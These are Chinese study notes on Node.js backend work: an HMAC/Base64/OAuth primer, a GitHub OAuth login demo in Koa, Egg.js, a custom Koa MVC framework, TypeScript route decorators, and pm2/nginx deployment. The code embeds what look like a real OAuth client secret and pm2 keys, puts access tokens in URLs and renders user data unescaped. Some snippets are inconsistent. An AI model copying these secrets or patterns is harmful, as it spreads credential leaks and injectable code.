HMAC(Hash Message Authentication Code,散列消息鉴别码,基于密钥的 Hash 算法的认证协议。消息鉴别码实现鉴别的原理是,用公开函数和密钥产生一个固定长度的值作为认证标识,用这个标识鉴别消息的完整性。使用一个密钥生成一个固定大小的小数据块,即 MAC,并将其加入到消息中,然后传输。接收方利用与发送方共享的密钥进行鉴别认证等。

# BASE64

按照 RFC2045 的定义,Base64 被定义为:Base64 内容传送编码被设计用来把任意序列的 8 位字节描述为一种不易被人直接识别的形式。(The Base64 Content-Transfer-Encoding is designed to represent arbitrary sequences of octets in a form that need not be humanly readable.)常见于邮件、http 加密,截取 http 信息,你就会发现登录操作的用户名、密码字段通过 BASE64 编码的

# Beare

Beare 作为一种认证类型(基于 OAuth 2.0),使用"Bearer"关键词进行定义

参考文档:

jsonwebtoken (opens new window)koa-jwt (opens new window)

阮一峰 JWT 解释

http://www.ruanyifeng.com/blog/2018/07/json_web_token-tutorial.html

# OAuth(开放授权)

概述:三方登入主要基于 OAuth 2.0。OAuth 协议为用户资源的授权提供了一个安全的、开放而又简易的标准。与以往的授权方式不同之处是 OAUTH 的授权不会使第三方触及到用户的帐号信息(如用户名与密码),即第三方无需使用用户的用户名与密码就可以申请获得该用户资源的授权,因此 OAUTH 是安全的。

# 案例:OAuth 登录

# 登录页面

index.html

<html>
  <head>
    <script src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js"></script>
    <script src="https://unpkg.com/axios/dist/axios.min.js"></script>
  </head>
  <body>
    <div id="app">
      <a href="/github/login">login with github</a>
    </div>
  </body>
</html>
1
2
3
4
5
6
7
8
9
10
11
# 登录接口

index.js

const Koa = require('koa')
const router = require('koa-router')()
const static = require('koa-static')
const app = new Koa()
const axios = require('axios')
const querystring = require('querystring')

app.use(static(__dirname + '/'))
const config = {
  client_id: '73a4f730f2e8cf7d5fcf',
  client_secret: '74bde1aec977bd93ac4eb8f7ab63352dbe03ce48'
}

router.get('/github/login', async (ctx) => {
  var dataStr = new Date().valueOf()
  //重定向到认证接口,并配置参数
  var path = 'https://github.com/login/oauth/authorize'
  path += '?client_id=' + config.client_id

  //转发到授权服务器
  ctx.redirect(path)
})
router.get('/auth/github/callback', async (ctx) => {
  console.log('callback..')
  const code = ctx.query.code
  const params = {
    client_id: config.client_id,
    client_secret: config.client_secret,
    code: code
  }
  let res = await axios.post(
    'https://github.com/login/oauth/access_token',
    params
  )
  const access_token = querystring.parse(res.data).access_token

  res = await axios.get(
    'https://api.github.com/user?access_token=' + access_token
  )
  console.log('userAccess:', res.data)
  ctx.body = `
<h1>Hello ${res.data.login}</h1>
<img src="${res.data.avatar_url}" alt=""/>
`
})

app.use(router.routes()) /*启动路由*/
app.use(router.allowedMethods())
app.listen(7001)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# 单点登录
cd passport
node app.js
cd ../system
PORT=8081 SERVER_NAME=a node app.js
PORT=8082 SERVER_NAME=b node app.js


#user test
#password 123456
1
2
3
4
5
6
7
8
9

# 基于 Koa 定制⾃⼰的企业级三层框架

# Egg.js 体验

# 三层结构

信息资源层 就是 action,或者 servlet,⽤来处理上下游数据结构。业务逻辑层⼀般应⽤中会有⼀层 service 抽象,实现核⼼业务逻辑,事务控制也在这⼀层实现。数据访问层也即 dao 层,重点负责数据库访问,完成持久化功能。

# 创建项⽬

// 创建项⽬
$ npm i egg-init -g
$ egg-init egg --type=simple
$ cd egg-example
$ npm i

// 启动项⽬
$ npm run dev
$ open localhost:7001
1
2
3
4
5
6
7
8
9

# 浏览项⽬结构

  • Public
  • Router -> Controller -> Service -> Model
  • Schedule

# 创建⼀个路由

router.js

router.get('/user', controller.user.index)
1

# 创建⼀个控制器

user.js

'use strict'

const Controller = require('egg').Controller

class UserController extends Controller {
  async index() {
    this.ctx.body = [{ name: 'tom' }, { name: 'jerry' }]
  }
}

module.exports = UserController
1
2
3
4
5
6
7
8
9
10
11

约定优于配置(convention over configuration),也称作按约定编程,是⼀种软件设计范式,旨在减少软件开发⼈员需做决定的数量,获得简单的好处,⽽⼜不失灵活性。

# 创建⼀个服务

./app/service/user.js

'use strict'

const Service = require('egg').Service

class UserService extends Service {
  async getAll() {
    return [{ name: 'tom' }, { name: 'jerry' }]
  }
}

module.exports = UserService
1
2
3
4
5
6
7
8
9
10
11

# 使⽤服务

./app/controller/user.js

async index() {
    const { ctx } = this;
    ctx.body = await ctx.service.user.getAll();
}
1
2
3
4

# 创建模型层

以 mysql + sequelize 为例演示数据持久化

安装: npm install --save egg-sequelize mysql2

在 config/plugin.js 中引⼊ egg-sequelize 插件

sequelize: {
    enable: true,
    package: 'egg-sequelize',
}
1
2
3
4

在 config/config.default.js 中编写 sequelize 配置

// const userConfig 中
sequelize: {
    dialect: "mysql",
    host: "127.0.0.1",
    port: 3306,
    username: "root",
    password: "example",
    database: "pipipapa"
}
1
2
3
4
5
6
7
8
9

# 编写 User 模型

./app/model/user.js

module.exports = (app) => {
  const { STRING } = app.Sequelize

  const User = app.model.define(
    'user',
    { name: STRING(30) },
    { timestamps: false }
  )

  // 数据库同步
  User.sync({ force: true })

  return User
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14

# 服务中或者控制器中调⽤

ctx.model.User 或 app.model.User

class UserService extends Service {
  async getAll() {
    return await this.ctx.model.User.findAll()
  }
}

// 或者控制器
ctx.body = await this.ctx.model.User.findAll()
1
2
3
4
5
6
7
8

需要同步数据库

https://eggjs.org/zh-cn/tutorials/sequelize.html

// 添加测试数据
const User = this.ctx.model.User
await User.sync({ force: true })
await User.create({
  name: 'laowang'
})
1
2
3
4
5
6

# 实现分层架构

⽬标是创建约定⼤于配置、开发效率⾼、可维护性强的项⽬架构

路由处理

  • 规范

    • 所有路由,都要放在 routes ⽂件夹中
    • 若导出路由对象,使⽤ 动词+空格+路径 作为 key,值是操作⽅法
    • 若导出函数,则函数返回第⼆条约定格式的对象
  • 路由定义:

    • 新建 routes/index.js,默认 Index.js 没有前缀

      module.exports = {
        'get /': async (ctx) => {
          ctx.body = '⾸⻚'
        },
        'get /detail': (ctx) => {
          ctx.body = '详情⻚⾯'
        }
      }
      
      1
      2
      3
      4
      5
      6
      7
      8
    • 新建 routes/user.js 路由前缀是/user

      module.exports = {
        'get /': async (ctx) => {
          ctx.body = '⽤户⾸⻚'
        },
        'get /info': (ctx) => {
          ctx.body = '⽤户详情⻚⾯'
        }
      }
      
      1
      2
      3
      4
      5
      6
      7
      8
    • 路由加载器,新建 wzp-loader.js

      const fs = require('fs')
      const path = require('path')
      const Router = require('koa-router')
      
      // 读取指定⽬录下⽂件
      function load(dir, cb) {
        // 获取绝对路径
        const url = path.resolve(__dirname, dir)
        // 读取路径下的⽂件
        const files = fs.readdirSync(url)
        // 遍历路由⽂件,将路由配置解析到路由器中
        files.forEach((filename) => {
          // 去掉后缀名
          filename = filename.replace('.js', '')
          // 导⼊⽂件
          const file = require(url + '/' + filename)
          // 处理逻辑
          cb(filename, file)
        })
      }
      
      function initRouter() {
        const router = new Router()
        load('routes', (filename, routes) => {
          // 若是index⽆前缀,别的⽂件前缀就是⽂件名
          const prefix = filename === 'index' ? '' : `/${filename}`
      
          // 遍历路由并添加到路由器
          Object.keys(routes).forEach((key) => {
            const [method, path] = key.split(' ')
            console.log(
              `正在映射地址:${method.toLocaleUpperCase()}
      ${prefix}${path}`
            )
            // 执⾏router.method(path, handler)注册路由
            router[method](prefix + path, routes[key])
          })
        })
        return router
      }
      
      module.exports = { initRouter }
      
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
    • 测试,引⼊ wzp-loader.js

      // index.js
      const app = new (require('koa'))()
      const { initRouter } = require('./wzp-loader')
      app.use(initRouter().routes())
      app.listen(3000)
      
      1
      2
      3
      4
      5
    • 封装,创建 wzp.js

      // wzp.js
      const koa = require('koa')
      const { initRouter } = require('./wzp-loader')
      
      class wzp {
        constructor(conf) {
          this.$app = new koa(conf)
          this.$router = initRouter()
          this.$app.use(this.$router.routes())
        }
      
        start(port) {
          this.$app.listen(port, () => {
            console.log('服务器启动成功,端⼝' + port)
          })
        }
      }
      
      module.exports = wzp
      
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
    • 修改 app.js

      const wzp = require('./wzp')
      const app = new wzp()
      app.start(3000)
      
      1
      2
      3

# 控制器

抽取 route 中业务逻辑⾄ controller

约定: controller ⽂件夹下⾯存放业务逻辑代码,框架⾃动加载并集中暴露

新建 controller/home.js

module.exports = {
  index: async (ctx) => {
    ctx.body = '⾸⻚'
  },
  detail: (ctx) => {
    ctx.body = '详情⻚⾯'
  }
}
1
2
3
4
5
6
7
8

修改路由声明,routes/index.js

// 需要传递wzp实例并访问其$ctrl中暴露的控制器
module.exports = (app) => ({
  'get /': app.$ctrl.home.index,
  'get /detail': app.$ctrl.home.detail
})
1
2
3
4
5

加载控制器,更新 wzp-loader.js

function initController() {
  const controllers = {}
  // 读取控制器⽬录
  load('controller', (filename, controller) => {
    // 添加路由
    controllers[filename] = controller
  })

  return controllers
}

module.exports = { initController }
1
2
3
4
5
6
7
8
9
10
11
12

初始化控制器,wzp.js

const { initController } = require('./wzp-loader')

class wzp {
  constructor(conf) {
    //...
    this.$ctrl = initController() // 先初始化控制器,路由对它有依赖
    this.$router = initRouter(this) // 将wzp实例传进去
    //...
  }
}
1
2
3
4
5
6
7
8
9
10

修改路由初始化逻辑,能够处理函数形式的声明, wzp-loader.js

function initRouter(app) {
  // 添加⼀个参数
  load('routes', (filename, routes) => {
    // ...

    // 判断路由类型,若为函数需传递app进去
    routes = typeof routes == 'function' ? routes(app) : routes

    // ...
  })
}
1
2
3
4
5
6
7
8
9
10
11

# 服务

抽离通⽤逻辑⾄ service ⽂件夹,利于复⽤

新建 service/user.js

const delay = (data, tick) =>
  new Promise((resolve) => {
    setTimeout(() => {
      resolve(data)
    }, tick)
  })

// 可复⽤的服务 ⼀个同步,⼀个异步
module.exports = {
  getName() {
    return delay('jerry', 1000)
  },
  getAge() {
    return 20
  }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

加载 service

//wzp-loader.js
function initService() {
  const services = {}
  // 读取控制器⽬录
  load('service', (filename, service) => {
    // 添加路由
    services[filename] = service
  })

  return services
}
module.exports = { initService }

// wzp.js
this.$service = initService()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

挂载和使⽤ service

// wzp-loader.js
function initRouter(app) {
  // ...
  // router[method](prefix + path, routes[key])
  router[method](prefix + path, async (ctx) => {
    // 传⼊ctx
    app.ctx = ctx // 挂载⾄app
    await routes[key](app) // 路由处理器现在接收到的是app
  })
  //...
}
1
2
3
4
5
6
7
8
9
10
11

# 更新路由

// routes/user.js
module.exports = {
  'get /': async (app) => {
    const name = await app.$service.user.getName()
    app.ctx.body = '⽤户:' + name
  },
  'get /info': (app) => {
    app.ctx.body = '⽤户年龄:' + app.$service.user.getAge()
  }
}

// routes/index.js
module.exports = (app) => ({
  'get /': app.$ctrl.home.index,

  'get /detail': app.$ctrl.home.detail
})

// controller/home.js
module.exports = (app) => ({
  index: async (ctx) => {
    // ctx.body = 'Ctrl Index'
    console.log('index ctrl')
    const name = await app.$service.user.getName()
    app.ctx.body = 'ctrl user' + name
  },
  detail: async (ctx) => {
    ctx.body = 'Ctrl Detal'
  }
})

// controller科⾥化
// initController
controllers[filename] = controller(app)
this.$ctrl = initController(this)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

# 数据库集成

集成 sequelize: npm install sequelize mysql2 --save

约定:

  • config/config.js 中存放项⽬配置项
  • key 表示对应配置⽬标
  • model 中存放数据模型

配置 sequelize 连接配置项,index.js

// config/index.js
module.exports = {
  db: {
    dialect: 'mysql',
    host: 'localhost',
    database: 'pipipapa',
    username: 'root',
    password: 'example'
  }
}
1
2
3
4
5
6
7
8
9
10

新增 loadConfig,wzp-loader.js

const Sequelize = require('sequelize')
function loadConfig(app) {
  load('config', (filename, conf) => {
    if (conf.db) {
      app.$db = new Sequelize(conf.db)
    }
  })
}
module.exports = { loadConfig }
// wzp.js
//先加载配置项
loadConfig(this)
1
2
3
4
5
6
7
8
9
10
11
12

新建数据库模型, model/user.js

const { STRING } = require('sequelize')
module.exports = {
  schema: {
    name: STRING(30)
  },
  options: {
    timestamps: false
  }
}
1
2
3
4
5
6
7
8
9

loadModel 和 loadConfig 初始化,wzp-loader.js

function loadConfig(app) {
  load('config', (filename, conf) => {
    if (conf.db) {
      app.$db = new Sequelize(conf.db)
      // 加载模型
      app.$model = {}
      load('model', (filename, { schema, options }) => {
        app.$model[filename] = app.$db.define(filename, schema, options)
      })
      app.$db.sync()
    }
  })
}
1
2
3
4
5
6
7
8
9
10
11
12
13

在 controller 中使⽤$db

module.exports = {
  // index: async ctx => {
  //     ctx.body = '⾸⻚'
  // },
  index: async (app) => {
    // app已传递
    app.ctx.body = await app.$model.user.findAll()
  },
  detail: (app) => {
    app.ctx.body = '详细⻚⾯'
  }
}
1
2
3
4
5
6
7
8
9
10
11
12

在 service 中使⽤$db

// 修改service结构,service/user.js
module.exports = (app) => ({
  getName() {
    // return delay('jerry',1000)
    return app.$model.user.findAll() // 添加
  },
  getAge() {
    return 20
  }
})

// 修改wzp-loader.js
function initService(app) {
  // 增加参数
  const services = {}
  load('service', (filename, service) => {
    services[filename] = service(app) // 服务变参数
  })
  console.log('service', services)
  return services
}

// 修改wzp.js
this.$service = initService(this)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

# 中间件

规定 koa 中间件放⼊ middleware ⽂件夹

编写⼀个请求记录中间件,./middleware/logger.js

module.exports = async (ctx, next) => {
  console.log(ctx.method + ' ' + ctx.path)
  const start = new Date()
  await next()
  const duration = new Date() - start
  console.log(
    ctx.method + ' ' + ctx.path + ' ' + ctx.status + ' ' + duration + 'ms'
  )
}
1
2
3
4
5
6
7
8
9

配置中间件,./config/config.js

module.exports = {
    db:{...},
    middleware: ['logger'] // 以数组形式,保证执⾏顺序
}
1
2
3
4

加载中间件,wzp-loader.js

function loadConfig(app) {
  load('config', (filename, conf) => {
    // 如果有middleware选项,则按其规定循序应⽤中间件
    if (conf.middleware) {
      conf.middleware.forEach((mid) => {
        const midPath = path.resolve(__dirname, 'middleware', mid)
        app.$app.use(require(midPath))
      })
    }
  })
}
1
2
3
4
5
6
7
8
9
10
11

调⽤,wzp.js

class wzp {
    constructor(conf) {
        this.$app = new koa(conf);
        //先加载配置项
        loadConfig(this);
        //...
    }
1
2
3
4
5
6
7

# 定时任务

使⽤ Node-schedule 来管理定时任务

npm install node-schedule --save
1

约定:schedule ⽬录,存放定时任务,使⽤ crontab 格式来启动定时

//log.js
module.exports = {
  interval: '*/3 * * * * *',
  handler() {
    console.log('定时任务 嘿嘿 三秒执⾏⼀次' + new Date())
  }
}

// user.js
module.exports = {
  interval: '30 * * * * *',
  handler() {
    console.log('定时任务 嘿嘿 每分钟第30秒执⾏⼀次' + new Date())
  }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

定时格式是符合 linux 的 crobtab

*    *    *    *    *    *
!    !    !    !    !    !
"    "    "    "    "    |
"    "    "    "    "    # day of week (0 - 7) (0 or 7 is Sun)
"    "    "    "    #$$$$$ month (1 - 12)
"    "    "    #$$$$$$$$$$ day of month (1 - 31)
"    "    #$$$$$$$$$$$$$$$ hour (0 - 23)
"    #$$$$$$$$$$$$$$$$$$$$ minute (0 - 59)
#$$$$$$$$$$$$$$$$$$$$$$$$$ second (0 - 59, optional)
1
2
3
4
5
6
7
8
9

6 个占位符从左到右分别代表:秒、分、时、⽇、⽉、周⼏, ''表示通配符,匹配任意,当秒是''时,表示任意秒数都触发,其它类推

每分钟的第 30 秒触发: '30 * * * * _' 每⼩时的 1 分 30 秒触发 :'30 1 _ * * _' 每天的凌晨 1 点 1 分 30 秒触发 :'30 1 1 _ * _' 每⽉的 1 ⽇ 1 点 1 分 30 秒触发 :'30 1 1 1 _ _' 2020 年的 1 ⽉ 1 ⽇ 1 点 1 分 30 秒触发 :'30 1 1 1 2020 ' 每周 1 的 1 点 1 分 30 秒触发 :'30 1 1 * _ 1' 每三秒 :'/3 * * * * *'

新增 loadSchedule 函数,wzp-loader.js

const schedule = require('node-schedule')
function initSchedule() {
  // 读取控制器⽬录
  load('schedule', (filename, scheduleConfig) => {
    schedule.scheduleJob(scheduleConfig.interval, scheduleConfig.handler)
  })
}
module.exports = { initRouter, initController, initService, initSchedule }

// wzp.js
const { initSchedule } = require('./wzp-loader')
class wzp {
  constructor(conf) {
    initSchedule()
  }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

image-20210923204937182

通过约定⽂件夹的形式,开始 MVC 开发之旅,这个框架学习了 eggjs 的核⼼架构思想,到现在你已经构建了⾃⼰的 MVC 框架了

# TS 项⽬架构

# 项⽬结构

  1. package.json 创建: npm init -y

  2. 开发依赖安装: npm i typescript ts-node-dev tslint @types/node -D

  3. 启动脚本

"scripts": {
    "start": "ts-node-dev ./src/index.ts -P tsconfig.json --no-cache",
    "build": "tsc -P tsconfig.json && node ./dist/index.js",
    "tslint": "tslint --fix -p tsconfig.json"
}
1
2
3
4
5
  1. 加⼊ tsconfig.json
{
  "compilerOptions": {
    "outDir": "./dist",
    "target": "es2017",
    "module": "commonjs", //组织代码⽅式
    "sourceMap": true,
    "moduleResolution": "node", // 模块解决策略
    "experimentalDecorators": true, // 开启装饰器定义
    "allowSyntheticDefaultImports": true, // 允许es6⽅式import
    "lib": ["es2015"],
    "typeRoots": ["./node_modules/@types"]
  },
  "include": ["src/**/*"]
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
  1. 创建⼊⼝⽂件./src/index.ts
console.log('hello')
1
  1. 运⾏测试: npm start

# 项⽬基础代码

  1. 安装依赖: npm i koa koa-static koa-body koa-xtime -S

  2. 编写基础代码,index.ts

import * as Koa from 'koa'
import * as bodify from 'koa-body'
import * as serve from 'koa-static'
import * as timing from 'koa-xtime'

const app = new Koa()

app.use(timing())
app.use(serve(`${__dirname}/public`))

app.use(
  bodify({
    multipart: true,
    // 使⽤⾮严格模式,解析 delete 请求的请求体
    strict: false
  })
)

app.use((ctx: Koa.Context) => {
  ctx.body = 'hello'
})

app.listen(3000, () => {
  console.log('服务器启动成功')
})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
  1. 测试: npm start

# 路由定义及发现

  1. 创建路由./src/routes/user.ts
import * as Koa from 'koa'

const users = [
  { name: 'tom', age: 20 },
  { name: 'tom', age: 20 }
]
export default class User {
  @get('/users')
  public list(ctx: Koa.Context) {
    ctx.body = { ok: 1, data: users }
  }

  @post('/users')
  public add(ctx: Koa.Context) {
    users.push(ctx.request.body)
    ctx.body = { ok: 1 }
  }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

知识点补充:装饰器的编写,以@get('/users')为例,它是函数装饰器且有配置项,其函数签名为:

function get(path) {
  return function(target, property, descriptor) {}
}
1
2
3

另外需解决两个问题:

  1. 路由发现
  2. 路由注册

路由发现及注册,创建./utils/route-decors.ts

import * as glob from 'glob'
import * as Koa from 'koa'
import * as KoaRouter from 'koa-router'

type HTTPMethod = 'get' | 'put' | 'del' | 'post' | 'patch'
type LoadOptions = {
  /**
   * 路由⽂件扩展名,默认值是`.{js,ts}`
   */
  extname?: string
}
type RouteOptions = {
  /**
   * 适⽤于某个请求⽐较特殊,需要单独制定前缀的情形
   */
  prefix?: string
  /**
   * 给当前路由添加⼀个或多个中间件
   */
  middlewares?: Array<Koa.Middleware>
}
const router = new KoaRouter()
export const get = (path: string, options?: RouteOptions) => {
  return (target, property, descriptor) => {
    const url = options && options.prefix ? options.prefix + path : path
    router['get'](url, target[property])
  }
}
export const post = (path: string, options?: RouteOptions) => {
  return (target, property, descriptor) => {
    const url = options && options.prefix ? options.prefix + path : path
    router['post'](url, target[property])
  }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

解决 get post put delete ⽅法公⽤逻辑

需要进⼀步对原有函数进⾏柯⾥化

const router = new KoaRouter()
const method = (method) => (path: string, options?: RouteOptions) => {
  return (target, property, descriptor) => {
    const url = options && options.prefix ? options.prefix + path : path
    router[method](url, target[property])
  }
}
export const get = method('get')
export const post = method('post')
1
2
3
4
5
6
7
8
9

router 变量 不符合函数式编程引⽤透明的特点 对后⾯移植不利

所以要再次进⾏柯⾥化

const router = new KoaRouter()
const decorate = (
  method: HTTPMethod,
  path: string,
  options: RouteOptions = {},
  router: KoaRouter
) => {
  return (target, property: string) => {
    const url = options.prefix ? options.prefix + path : path
    router[method](url, target[property])
  }
}
const method = (method) => (path: string, options?: RouteOptions) =>
  decorate(method, path, options, router)

export const get = method('get')
export const post = method('post')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import * as glob from 'glob'
import * as Koa from 'koa'
import * as KoaRouter from 'koa-router'

type HTTPMethod = 'get' | 'put' | 'del' | 'post' | 'patch'
type LoadOptions = {
  /**
   * 路由⽂件扩展名,默认值是`.{js,ts}`
   */
  extname?: string
}
type RouteOptions = {
  /**
   * 适⽤于某个请求⽐较特殊,需要单独制定前缀的情形
   */
  prefix?: string
  /**
   * 给当前路由添加⼀个或多个中间件
   */
  middlewares?: Array<Koa.Middleware>
}
const router = new KoaRouter()
const decorate = (
  method: HTTPMethod,
  path: string,
  options: RouteOptions = {},
  router: KoaRouter
) => {
  return (target, property: string) => {
    const url = options.prefix ? options.prefix + path : path
    router[method](url, target[property])
  }
}
const method = (method) => (path: string, options?: RouteOptions) =>
  decorate(method, path, options, router)
export const get = method('get')

export const post = method('post')
export const put = method('put')
export const del = method('del')
export const patch = method('patch')

export const load = (folder: string, options: LoadOptions = {}): KoaRouter => {
  const extname = options.extname || '.{js,ts}'
  glob
    .sync(require('path').join(folder, `./**/*${extname}`))
    .forEach((item) => require(item))
  return router
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
  1. 使⽤

routes/user.ts

import { get, post } from '../utils/decors'
1

index.ts

import { load } from './utils/decors'
import { resolve } from 'path'
const router = load(resolve(__dirname, './routes'))
app.use(router.routes())
1
2
3
4
  1. 数据校验:可以利⽤中间件机制实现

添加校验函数,./routes/user.ts

//异步校验接⼝
const api = {
  findByName(name) {
    return new Promise((resolve, reject) => {
      setTimeout(() => {
        if (name === 'xia') {
          reject('⽤户名已存在')
        } else {
          resolve()
        }
      }, 500)
    })
  }
}

export default class User {
  // 添加中间件选项
  @post('/users', {
    middlewares: [
      async function validation(ctx: Koa.Context, next: () => Promise<any>) {
        // ⽤户名必填
        const name = ctx.request.body.name
        if (!name) {
          throw '请输⼊⽤户名'
        }
        // ⽤户名不能重复
        try {
          await api.findByName(name)
          // 校验通过
          await next()
        } catch (error) {
          throw error
        }
      }
    ]
  })
  public async add(ctx: Koa.Context) {}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

更新 decors.ts

export const load = function(
  prefix: string,
  folder: string,
  options: LoadOptions = {}
): KoaRouter {
  // ...
  route = function(
    method: HTTPMethod,
    path: string,
    options: RouteOptions = {}
  ) {
    return function(target, property: string, descriptor) {
      // 添加中间件数组
      const middlewares = []

      // 若设置了中间件选项则加⼊到中间件数组
      if (options.middlewares) {
        middlewares.push(...options.middlewares)
      }

      // 添加路由处理器
      middlewares.push(target[property])
      const url = (options.prefix || prefix) + path
      // router[method](url, target[property]);
      router[method](url, ...middlewares)
    }
  }

  // ...
  return router
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
  1. 类级别路由守卫

使⽤,routes/user.ts

@middlewares([
  async function guard(ctx: Koa.Context, next: () => Promise<any>) {
    console.log('guard', ctx.header)

    if (ctx.header.token) {
      await next()
    } else {
      throw '请登录'
    }
  }
])
export default class User {}
1
2
3
4
5
6
7
8
9
10
11
12

增加中间装饰器,更新 route-decors.ts

//增加中间装饰器
export const middlewares = function middlewares(middlewares: Koa.Middleware[]) {
  return function(target) {
    target.prototype.middlewares = middlewares
  }
}

//修改load⽅法
export const load = function(
  prefix: string,
  folder: string,
  options: LoadOptions = {}
): KoaRouter {
  route = function(
    method: HTTPMethod,
    path: string,
    options: RouteOptions = {}
  ) {
    return function(target, property: string, descriptor) {
      // 晚⼀拍执⾏路由注册:因为需要等类装饰器执⾏完毕
      process.nextTick(() => {
        let mws = []
        // 获取class上定义的中间件
        if (target.middlewares) {
          middlewares.push(...target.middlewares)
        }
        // ...
      })
    }
  }

  return router
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

# 数据库整合

  1. 安装依赖: npm i -S sequelize sequelize-typescript reflect-metadata mysql2
  2. 初始化,index.ts
import { Sequelize } from 'sequelize-typescript'

const database = new Sequelize({
  port: 3306,
  database: 'pipipapa',
  username: 'root',
  password: 'example',
  dialect: 'mysql',
  modelPaths: [`${__dirname}/model`]
})
database.sync({ force: true })
1
2
3
4
5
6
7
8
9
10
11
  1. 创建模型
// model/user.js
import { Table, Column, Model, DataType } from 'sequelize-typescript'

@Table({ modelName: 'users' })
export default class User extends Model<User> {
  @Column({
    primaryKey: true,
    autoIncrement: true,
    type: DataType.INTEGER
  })
  public id: number

  @Column(DataType.CHAR)
  public name: string
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
  1. 使⽤模型,routes/user.ts
import model from '../model/user'

export default class User {
  @get('/users')
  public async list(ctx: Koa.Context) {
    const users = await model.findAll()
    ctx.body = { ok: 1, data: users }
  }
}
1
2
3
4
5
6
7
8
9

# 框架不⾜

  • Restful 接⼝
  • model 可以⾃动加载到 ctx 中
  • server 层⾃动加载

# 部署_nginx_pm2_docker

  • Nginx

    • 静态资源 location

    • 动态数据请求 proxy

    • 负载均衡

  • 了解 cluster 原理

  • 掌握 pm2 部署 NodeJS 服务

参考文档

使用 pm2+nginx 部署 koa2(https) (opens new window)

# 如何构建一个高可用的 node 环境

主要解决问题

  • 故障恢复
  • 多核利用
  • http://www.sohu.com/a/247732550_796914
  • 多进程共享端口
// app.js
const http = require('http')
const server = http.createServer((request, response) => {
  Math.random() > 0.5 ? aa() : '2'
  response.end('Hello ')
})

if (!module.parent) {
  server.listen(3000)
  console.log('app started at port 3000...')
} else {
  module.exports = server
}

// test.js
const request = require('request')
setInterval(() => {
  request('http://localhost:3000', function(error, response, body) {
    console.log('body:', body) // Print the HTML for the Google homepage.
  })
}, 1000)

// cluster.js
var cluster = require('cluster')
var os = require('os') // 获取CPU 的数量
var numCPUs = os.cpus().length

var process = require('process')

var workers = {}
if (cluster.isMaster) {
  // 主进程分支
  cluster.on('exit', (worker, code, signal) => {
    console.log(
      '工作进程 %d 关闭 (%s). 重启中...',
      worker.process.pid,
      signal || code
    )
    delete workers[worker.process.pid]
    worker = cluster.fork()
    workers[worker.process.pid] = worker
  })

  console.log('numCPUs:', numCPUs)
  for (var i = 0; i < numCPUs; i++) {
    var worker = cluster.fork()
    console.log('init ... pid', worker.process.pid)
    workers[worker.process.pid] = worker
  }
} else {
  var app = require('./app')
  app.listen(3000)
}
// 当主进程被终止时,关闭所有工作进程
process.on('SIGTERM', function() {
  for (var pid in workers) {
    process.kill(pid)
  }
  process.exit(0)
})
require('./test')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61

# 文件上传服务器

  • scp (最原始)
scp docker-compose.yml root@47.98.252.43:/root/source/ #文件
scp -r mini-01 root@47.98.252.43:/root/source/     #文件夹
1
2
  • git (实际工作中)
  • deploy 插件 (debug)

# PM2 的应用

  • 内建负载均衡(使用 Node cluster 集群模块、子进程,可以参考朴灵的《深入浅出 node.js》一书第九章)
  • 线程守护,keep alive
  • 0 秒停机重载,维护升级的时候不需要停机.
  • 现在 Linux (stable) & MacOSx (stable) & Windows (stable).多平台支持
  • 停止不稳定的进程(避免无限循环)
  • 控制台检测 https://id.keymetrics.io/api/oauth/login#/register
  • 提供 HTTP API

配置

npm install -g pm2
pm2 start app.js --watch -i 2
# watch 监听文件变化
# -i 启动多少个实例

pm2 stop all
pm2 list

pm2 start app.js -i max # 根据机器CPU核数,开启对应数目的进程
1
2
3
4
5
6
7
8
9

配置 process.yml

apps:
  - script: app.js
    instances: 2
    watch: true
    env:
    NODE_ENV: production
1
2
3
4
5
6

Keymetrics 在线监控

https://id.keymetrics.io

pm2 link 8hxvp4bfrftvwxn uis7ndy58fvuf7l TARO-SAMPLE
1

pm2 设置为开机启动

pm2 startup
1

# Nginx 反向代理 + 前端静态服务 => dist

安装

yum install nginx
-----
apt update
apt install nginx
1
2
3
4

添加静态路由

# /etc/nginx/sites-enable/taro
server {
    listen 80;
    server_name taro.josephxia.com;
    location / {
        root /root/source/taro-node/dist;
        index index.html index.htm;
    }
}
1
2
3
4
5
6
7
